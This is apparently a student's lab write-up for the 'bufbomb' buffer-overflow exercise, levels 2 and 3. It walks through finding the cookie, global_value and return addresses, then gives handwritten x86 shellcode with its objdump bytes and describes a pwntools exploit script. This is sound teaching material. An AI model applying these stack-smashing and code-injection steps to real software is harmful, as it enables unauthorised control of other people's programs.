

Lab 6

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Level 2




First, we need to check the bang

```
1  int global_value = 0;
2  void bang(int val)
3  {
4      if (global_value == cookie) {
5          printf("Bang!: You set global_value to 0x%x\n", global_value);
6          validate(2);
7      } else {
8          printf("Misfire: global_value = 0x%x\n", global_value);
9          exit(0);
10     }
11 }
```

As the same as the previous levels, the string need 40 byte (28 in hex). But in this level we need to check the global_value and cookie and bang

```
.bss: 8006D158                public cookie
.bss: 8006D158 ; unsigned int cookie
.bss: 8006D158 cookie          dd ?
.bss: 8006D158

bss: 8006D160                public global_value
bss: 8006D160 global_value     dd ?
bss: 8006D160
```

Name	Address	Public
 bang	80068069	P
 test	800680C4	P
 testn	8006813E	P

So we get that 0x8006D158 is cooki, 0x8006D160 is global value and bang is 0x80068069. With this material we can use to write the shellCode:

```
ASM shell2.s
1  movl $0x8006D158,%eax #cookie
2  movl (%eax),%eax
3  movl $0x8006D160,%ebx #global value
4  movl %eax,(%ebx)
5  push $0x80068069 #bang
6  ret
```

And the shellCode bytes' performance:

```
anhkiet1227@ubuntu:~/Downloads/lab5ltht$ objdump -d shell2.o

shell2.o:      file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:  b8 58 d1 06 80      mov     $0x8006d158,%eax
   5:  8b 00              mov     (%eax),%eax
   7:  bb 60 d1 06 80      mov     $0x8006d160,%ebx
  c:  89 03              mov     %eax,(%ebx)
  e:  68 69 80 06 80      push    $0x80068069
 13:  c3                ret
```

And the return address is

```
End of assembler dump.
pwndbg> info registers ebp
ebp          0x55683380      0x55683380 <_reserved+1037184>
pwndbg> quit
```

But we need to minus by 28 is 0x55683358

With these materials, we can write the python code and get buffer overflow:



Level 3

First, we need to get the getbuf return

```
0x800680d2 <+14>: call 0x800687a8 <getbuf>
0x800680d7 <+19>: mov  DWORD PTR [ebp-0xc],eax
```

Check the ebp of test

```
End of assembler dump.
pwndbg> info registers ebp
ebp             0x556833a0             0x556833a0 <_reserved+1037216>
pwndbg> sup -u 0x050704
```

The we write the shellCode

```
1  pop %eax
2  movl $0x8006d158,%eax #cookie
3  movl (%eax),%eax
4  movl $0x556833a0,%ebp #test ebp
5  push $0xf7f16c16 #push the tmp or \x90
6  push $0x800680d7 #return address getbuf
7  ret
```

In the line 5 we push the temp address or \x90 is okay to get the string if the address is needed.

This the byte of shellCode

```
anhkiet1227@ubuntu:~/Downloads/lab5ltht$ objdump -d shell3.o
shell3.o:          file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:  58                      pop     %eax
   1:  b8 58 d1 06 80         mov     $0x8006d158,%eax
   6:  8b 00                  mov     (%eax),%eax
   8:  bd a0 33 68 55         mov     $0x556833a0,%ebp
  d:  68 16 6c f1 f7         push    $0xf7f16c16
 12:  68 d7 80 06 80         push    $0x800680d7
 17:  c3                     ret
```

Write the python code with these material and run

The image shows a Windows 10 desktop environment. A virtual machine named 'Ubuntu 64-bit' is running, with Visual Studio Code installed inside. The VS Code interface is open to a file named 'level3.py'. The code is a Python script using the 'pwn' library to craft a buffer overflow exploit. It defines a shellcode, a payload, and an exploit string, then sends the exploit string to a process named 'bufbomb'. The terminal window at the bottom shows the execution of the script, which successfully spawns a shell. The taskbar at the bottom of the screen shows various Windows applications and the system clock.

As you can see, the shellCode is accepted the tmp bytes modified by 0xf7f6c16 or the \x90

We got this.